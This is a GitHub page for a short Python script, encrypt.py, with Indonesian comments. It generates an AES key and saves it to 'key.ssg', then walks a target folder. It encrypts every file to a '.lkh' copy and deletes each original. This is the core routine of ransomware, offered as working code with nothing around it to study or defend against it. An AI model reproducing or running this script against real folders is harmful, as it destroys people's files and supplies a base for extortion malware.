-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathencrypt.py
44 lines (32 loc) · 1.26 KB
/
encrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import pickle
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
def delete_file(file_path):
try:
os.remove(file_path)
except OSError as e:
print("Error:", e)
def save_byte_object(byte_object, file_path):
with open(file_path, 'wb') as file:
pickle.dump(byte_object, file)
def encrypt_file(file_path, key):
with open(file_path, 'rb') as file:
data = file.read()
cipher = AES.new(key, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(data)
encrypted_file_path = file_path + ".lkh"
with open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(cipher.nonce + tag + ciphertext)
print("File berhasil dienkripsi:", encrypted_file_path)
key = get_random_bytes(16) # 16 byte key untuk AES-128
byte_object = key
key_path = f'key.ssg'
save_byte_object(byte_object, key_path)
for root, dirs, files in os.walk("path a folder to encrypt all of the file in that folder"):
for file in files:
file_path = os.path.join(root, file)
# Mengganti '\' dengan '/'
file_path = file_path.replace('\\', '/')
encrypt_file(file_path, key)
delete_file(file_path)